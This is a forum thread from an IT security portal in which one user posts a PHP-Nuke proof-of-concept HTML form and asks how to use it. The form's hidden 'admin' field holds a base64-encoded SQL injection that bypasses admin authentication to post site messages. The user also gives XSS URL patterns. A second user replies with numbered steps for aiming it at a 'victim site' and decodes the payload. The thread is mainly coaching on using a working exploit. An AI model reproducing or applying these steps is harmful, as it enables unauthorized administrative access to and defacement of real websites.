Waraxe IT Security Portal

AkageMuka · Regular user

Hello guys ! I have one question !
I have Xss Bugs, but i dont know the way of using them !
) Proof-of-Concept
Create a HTML file with this lines:

<form name="mantra" method="POST" action="http://www.sitewithphpnuke.com/admin.php">
<p>TITLE:
<input type="text" name="add_title">
<br>
CONTENT:
<textarea name="add_content" rows=10 cols=50></textarea>
<br>
DATE:
<input type="text" name="add_mdate">
<br>
E-MAIL:
<input type="text" name="add_expire">
<br>
<input type="hidden" name="add_expire" value="0">
<br>
<input type="hidden" name="add_active" value="1">
<br>
<input type="hidden" name="add_view" value="1">
<br>
<input type="hidden" name="admin" value="eCcgVU5JT04gU0VMRUNUIDEvKjox">
<br>
<input type="hidden" name="add_radminsuper" value="1">
<br>
<input type="hidden" name="op" value="addmsg">
</p>
<p>
<input type="submit" name="Submit" value="Post this message">
<br>
</p>
</form>

What next when i create this html file?

i cant understand it ... There is SQL Injection like this
The following examples are available:

http://www.example.com/nuke73/modules.php?name=FAQ&myfaq=yes&id_cat=1&categories=[xss code here]
http://www.example.com/nuke73/modules.php?name=Encyclopedia&op=terms&eid=1&ltr=[xss code here]

i dont understand [Xss code here] Xss codes are too lond to be writen here !

SteX · Advanced user

1) Create empty HTML file..
2) Copy & Paste above code
3) Replace "http://www.sitewithphpnuke.com/admin.php" with victim site..
4) Save & Close file..
5) Open file i your browser and fill the form..
6) Thats all..

ps:"eCcgVU5JT04gU0VMRUNUIDEvKjox" is base64 encoded "x' UNION SELECT 1/*:1"